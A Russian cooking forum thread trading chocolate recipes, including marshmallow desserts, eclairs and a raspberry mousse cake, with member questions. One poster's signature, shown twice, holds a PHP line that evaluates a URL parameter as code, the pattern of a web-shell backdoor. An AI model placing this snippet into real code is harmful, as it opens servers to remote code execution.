Авторизация
Загрузка...
А любите ли Вы шоколад? - 2 (И снова о шоколаде...)
На страницу 1, 2, 3 ... 70, 71, 72  След.
 
Начать новую тему   Ответить на тему    Форумы -> Вкусные рецепты
Предыдущая тема :: Следующая тема  
Автор Сообщение
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Ср Окт 02, 2002 2:24     Заголовок сообщения: А любите ли Вы шоколад? - 2 (И снова о шоколаде...) Ответить с цитатой

А любите ли Вы шоколад так, как... - 1
Содержание тем "А любите ли Вы шоколад -1,2"


Началось все в прошлую пятницу, когда мы посмотрели Ready Steady Cook, в которой готовили блюда из шоколада, ванильно-малиновых маршмеллоу, мраморного кекса и груш. Mы посмотрели на этот шоколаднo-зефирный пир, сразу ринулись в магазин за шоколадом и с тех пор не можем остановиться 8-(

Выглядело это все очень аппетитно и я решила поделиться рецептиками, может, и вас вдохновит smile.gif

ШОКОЛАДНЫЕ МРАМОРНЫЕ КУБИКИ В КАРАМЕЛИ

10 мин + 10 мин

200 гр мраморного кекса, порезанного на 20 кубиков
100 гр сахарной пудры

1. Положить на противень лист пергамента или тефлоновой бумаги.

2. В небольшой кастрюле на медленном огне растопить сахар до образования карамели.

3. Окунуть каждый кубик кекса в карамель (с помощью деревянной зубочистки).

4. Когда все кубики тщательно обваляны в карамели, положить их на пергамент, оставить, пока карамель не застынет, уложить на блюдо и подавать.

РУЛЕТ С МАРШМЕЛЛОУ И ШОКОЛАДОМ

10-30 мин

2 ст л сахарной пудры
2 яйца, взбить
1 ст л простой муки
12 маршмеллоу
50 гр шоколада, разломать на кусочки
сахарная пудра

1. Растопить шоколад в миске, поставленной на кастрюлю с медленно кипящей водой.

2. В большой миске электрическим миксером взбить яйца с сахаром. Добавить муку. Перелить тесто в плоскую форму для рулета и запекать 5-6 мин, пока он не поднимется и не станет золотистым.

3. Намазать бисквит растопленным шоколадом, оставляя 5 см от края. В одну линию по широкому краю уложить 8 маршмеллоу, закатать рулет наполовину и уложить еще один ряд маршмеллоу по диагонали. Закатать рулет до конца. Посыпать сахарной пудрой и подавать.

Восхитительная вещь - маршмеллоу тает и перемешивается с шоколадом, получается очень тягучая начинка.

ГОРЯЧИЙ ШОКОЛАД С МАРШМЕЛЛОУ

300 мл молока
50 гр простого шоколада
1 ч л сахарной пудры
4 маршмеллоу

1. Растопить шоколад в миске над кастрюлей с медленно кипящей водой.

2. Медленно довести молоко до кипения в кастрюле. Снять с огня и перемешать венчиком с шоколадом и сахарной пудрой.

3. Положить маршмеллоу в стакан и залить горячим шоколадным молоком. Подавать.
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
шоко  
Кулинар-кудесник
Кулинар-кудесник

Зарегистрирован: 29.09.2002
Сообщения: 790
Откуда: Мурманск

Сообщение Добавлено: Ср Окт 02, 2002 12:26     Заголовок сообщения: Ответить с цитатой

Мария, а что есть из себя маршмелоу? sarcasm.gif icon_question.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
swetik  
Повар
Повар

Зарегистрирован: 28.08.2002
Сообщения: 410
Откуда: израиль

Сообщение Добавлено: Ср Окт 02, 2002 17:06     Заголовок сообщения: Ответить с цитатой

мария
а с маршмало не сильно сладко?
_________________
кто хочет-тот ищет возможность
кто не хочет-тот ищет причину
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Чт Окт 03, 2002 4:03     Заголовок сообщения: Ответить с цитатой

Маршмеллоу - это сладости типа зефира... Вроде бы в форуме даже рецептик пробегал.. smile.gif

А получается все это дело действительно очень сладко poketoungeb.gif И это здорово smile.gif ...иногда.
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Амели  
Повар
Повар

Зарегистрирован: 27.02.2003
Сообщения: 291
Откуда: Россия

Сообщение Добавлено: Ср Ноя 19, 2003 1:29     Заголовок сообщения: Ответить с цитатой

Мне подарили книгу Янника Лефора "Шоколадный день". Чудесная книжка (очень по адресу подарена ) Начала пробовать рецепты. Первый опыт очень удачен. Пирожные получились очень нежными и совсем нежирыми. Рекомендую!

Шоколадные эклеры
1. Делаем заварное тесто
125 мл молока
60 г масла
соль на кончике ножа
0.5 ч.л. сахар.песка
100г пшеничной муки
2-3 яйца
Делаем как обычно. Есть вопросы - пожалуйста!
Отшприцевать тесто в виде палочек. Выпекать 200 градусов 15 минут (оставить в духовке полуоткрытой на пять минут после выпечки) во избежании опадения.
2. Крем - заварной шоколадный
250 мл молока
125 г сахара
1 щепотка ванилина
3 желтка
12 г муки
12 г кукурузной муки (мной было заменено на картоф.крахмал)
20 г слив.масла
50 мл жидких сливок (я брала 30%)
40 г черного шоколада
10г сахарной пудры
В миску положить желтки и 50 г сахарного песка, растереть добела. Просеять вместе пшеничную и кукурузную муку, после чего смешать с растертыми желтками.
Молоко, ванилин и 12г сахара закипятить и тут же вылить часть молока в желтки, тщательно перемешать, затем перелить в кастрюлю с оставшимся молоком и взбить веничнком.
Поставить на огонь и непрерывно помешивая варить после закипания 1 минуту.
Снять с огня и добавить нарезаное мелкими кусочками масло, перемешивать пока масло не растопится. Перелить в миску.
Мелко порубить шоколад.
Разогреть в кастрюле сливки, как только начнут закипать, добавить в кастрюлю шоколад, перемешать, добавить заварной крем. Хорошо перемешать и больше не доводя до кипения перилить в салатник. Посыпать готовый крем сахарной пудрой и охладить.
3. Шоколадная глазурь
50г сливок (опять же 30%)
50г шоколада
Сливки доводятся до кипения, снять с огня, добавить мелко рубленный шоколад, хорошенько перемешать.
В заготовки из заварного теста отшрицевать шоколадный заварной крем, охладить, обмакнуть в теплую шоколадную глазурь половинки заготовок и удалить излишки пальцем. Опять охладить.
ПРИЯТНОГО АППЕТИТА!
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Yahoo Messenger
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17099
Откуда: Russia

Сообщение Добавлено: Пт Dec 12, 2003 13:48     Заголовок сообщения: Ответить с цитатой

Амели писал(а):
Мне подарили книгу Янника Лефора "Шоколадный день". Чудесная книжка (очень по адресу подарена ) Начала пробовать рецепты. Первый опыт очень удачен. Пирожные получились очень нежными и совсем нежирыми. Рекомендую!
.......................................
12 г муки
12 г кукурузной муки (мной было заменено на картоф.крахмал)
Молоко, ванилин и 12г сахара закипятить...

Амели, а обязательна такая точность - 12 г? smile.gif Как же их отмерить? smile.gif
А ты продолжаешь опыты из этой книжки? Наверное, можешь ещё поделиться? smile.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Амели  
Повар
Повар

Зарегистрирован: 27.02.2003
Сообщения: 291
Откуда: Россия

Сообщение Добавлено: Сб Dec 13, 2003 23:53     Заголовок сообщения: Ответить с цитатой

Соня, привет! По поводу 12г - чуть больше чайной ложки кладу на глаз (скажу правду - не отмеряю smile.gif )
По поводу книжки - все больше и больше в нее влюбляюсь...
Уже попробовала замечательный тортик, как только разгружусь чуть - напишу если кому интересно. Называется тортик Воздушный шоколадно-малиновый торт "Ганайя". Смысл таков - нижний корж из шоколадного бисквита без добавления муки, далее на нем малинка и свеху покрыто толтенным слоем шоколадного мусса со взбитыми белками - нежирный, воздушный и супер-шоколадный! Делается довольно быстро, но рецепт длиннющий, поэтому надо созреть для написания happy.gif Если надо - кричите!
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Yahoo Messenger
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17099
Откуда: Russia

Сообщение Добавлено: Вс Dec 14, 2003 0:14     Заголовок сообщения: Ответить с цитатой

Амели, даже читать про этот торт вкусно. poketoungeb.gif Да ещё и делать быстро? :o Конечно, надо! smile.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Alenenok  
Шеф-повар
Шеф-повар

Зарегистрирован: 27.10.2003
Сообщения: 2330
Откуда: Краснознаменск,Моск.обл.

Сообщение Добавлено: Вс Dec 14, 2003 13:57     Заголовок сообщения: Ответить с цитатой

Надо-надо! Я тоже хочу этот рецепт!
_________________
В воздухе отчетливо пахло ма-а-аленькими бифштексами. (Стругацкие "Понедельник начинается в субботу")
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Djamka  
Главный фелиногурман

Зарегистрирован: 10.06.2002
Сообщения: 2688
Откуда: Москва - Тель-Авив - Киев

Сообщение Добавлено: Вс Dec 14, 2003 14:07     Заголовок сообщения: Ответить с цитатой

Даже очень надо: у меня как раз завалялся пакет мороженой малины. smile.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Nelka  
Повар
Повар

Зарегистрирован: 29.09.2003
Сообщения: 479

Сообщение Добавлено: Пн Dec 15, 2003 14:45     Заголовок сообщения: Ответить с цитатой

Амели! Я хочу этот торт! Обалдеть, и малина, и шоколад...и то, и другое люблю до умопомрачения. Не тяни, плз!
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Амели  
Повар
Повар

Зарегистрирован: 27.02.2003
Сообщения: 291
Откуда: Россия

Сообщение Добавлено: Вт Dec 16, 2003 0:34     Заголовок сообщения: Ответить с цитатой

ВОЗДУШНЫЙ ШОКОЛАДНО-МАЛИНОВЫЙ ТОРТ "ГАНАЙЯ"
СОСТАВ:
30г свежей малины
20г какао-порошка
Основа из шоколадного бисквита без добавления муки
825г шоколадного мусса со взбитыми белками
300г малинового пюре с соком
1. ШОКОЛАДНЫЙ БИСКВИТ без добавления муки (форма диаметром 22 см и высотой 4,5 см)
Нам понадобятся:
150г шоколада
120г сливочного масла
30г какао-порошка
6 яиц
160г сахара
Разотрите добела желтки со 130г сахарного песка. Разогрейте на водяной бане сливочное масло до консистенции помадки и отставьте его в сторону. Растопите шоколад на водяной бане, добавьте в него размягченное масло, растертые желтки и какао-порошок. Все осторожно перемешайте, не сбивая, и отставьте в сторону.
Сбейте белки в густую пену, добавив в конце оставшийся сахарный песок. Осторожно смешайте сбитые белки с шоколадно-масляной смесью.
Готовое тесто вылейте в смазаную маслом форму. Выпекайте при температуре 200град 15 минут. Бисквит должен быть хрустящим сверху и немного мягким внутри. Достав форму из духовки вынуть из формы бисквит на решетку для торта для остывания.
2. ШОКОЛАДНЫЙ МУСС СО ВЗБИТЫМИ БЕЛКАМИ (рецепт на 875г)
Нам понадобятся:
250г черного шоколада
100г сливочного масла
5 желтков
10 белков
50г сахара
Разомните на водяной бане сливочное масло до консистенции помадки и отставьте в сторону. Растопите шоколад на водяной бане и влейте его в размягченное масло, осторожно перемешивая лопаткой, но не сбивая.
С помощью веничка вмешайте в полученную массу желтки, добавляя их по одному, и отставьте в сторону.
Белки взбить миксером в густую пену, добавляя понемногу сахарный песок. Как только пена станет плотной, введите белки лопаткой в полученную ранее массу. Тщательно все перемешайте, чтобы не оставалось никаких следов взбитых белков. Тотчас перелейте полученный мусс в миску.
ВОЗВРАЩАЕМСЯ К ОСНОВНОМУ РЕЦЕПТУ
3. Поместите бисквит в форму, покройте бисквит муссом слоем около 2 см, поверх разложите малину, следя за тем, чтобы ягоды не касались стенок формы. Затем влейте оставшийся мусс, разровняйте его лопаточкой и поставьте в холодильник на 3-4 часа.
4. Снимите форму, обложив ее смоченной в горячей воде салфеткой или проводя лезвием ножа между внутренней стороной формы и тортом. Посыпьте какао-порошком, украсьте свежей малиной и подавайте с малиновым пюре и соком.
МОИ КОММЕНТАРИИ:
1. Рецепты бисквита и мусса являются базовыми и относятся ко всей книге в целом а не конкретно к этому торту, поэтому бисквит по приведенному выше рецепту получился высоковатым. Но очень вкусный, поэтому нестрашно (на картинке он совсем невысокий, основная масса - мусс). Предупреждаю, как все бисквиты без муки, он имеет свойство немного опадать после остывания. По технологии (в книге есть фото и комментарии) так положено!
2. По рецепту применительно именно к этому торту предлагается заменить 250г черного шоколада на 200 г шоколада для глазури. (я не заменяла ничего!- все строго по рецепту.) Делала из расчета на 8 белков т.к. в базовом рецепте указаное количество мусса - 875г, а у нас по рецепту 825г! Обратите внимание! Хотя если сделаете больше - нестрашно, часть ушло во время приготовления, причем очень быстро, столовой ложкой... laugh.gif
3. Заменила малину на мороженую вишню. Получилось чудненько! Только вот соус оказался немного кисловатым и слишком ярким по вскусу (протертая вишня с сахаром), лучше оказалось совсем без него. Думаю с малиной в этом смысле будет лучше. В самом тортике вишня смотрелась замечательно!
ВОТ! ОСИЛИЛА! :o
Писала очень долго (есть у меня дурацкая черта - все разжевывать!). Делать на самом деле ГОРАЗДО быстрее! И оправдывает все ожидания! Поверьте! smile.gif
НУ ЕСЛИ НИКТО НЕ ПОПРОБУЕТ СДЕЛАТЬ - ДЕРЖИТЕСЬ!!! mad_icon.gif laugh.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Yahoo Messenger
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17099
Откуда: Russia

Сообщение Добавлено: Вт Dec 16, 2003 0:50     Заголовок сообщения: Ответить с цитатой

Амели, smile.gif спасибо за рецепт! Пошла пока изучать... laugh.gif
А малины так мало нужно, всего 30 граммов?
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Dlav  
Поварёнок-испытатель
Поварёнок-испытатель

Зарегистрирован: 24.08.2003
Сообщения: 55
Откуда: Israel

Сообщение Добавлено: Вт Dec 16, 2003 0:57     Заголовок сообщения: Ответить с цитатой

а мы делали сегодня маленькие пончики с шоколадом (на 2 укуса)внутри.хрустящая корочка,очень мякгий мякиш и горячий шоколад...вкусно...со свеже вареным кофе.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Амели  
Повар
Повар

Зарегистрирован: 27.02.2003
Сообщения: 291
Откуда: Россия

Сообщение Добавлено: Вт Dec 16, 2003 2:12     Заголовок сообщения: Ответить с цитатой

А можно поподробнее про пончики??? Рецепт?!
а то что уж попросту народ вкусностями соблазнять??? happy.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Yahoo Messenger
Показать сообщения:   
Начать новую тему   Ответить на тему    Форумы -> Вкусные рецепты Часовой пояс: MSK (Moscow)
Послать другу
Распечатать
На страницу 1, 2, 3 ... 70, 71, 72  След.
Страница 1 из 72

Добавить в закладки

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы можете добавлять приложения
Вы можете скачивать приложения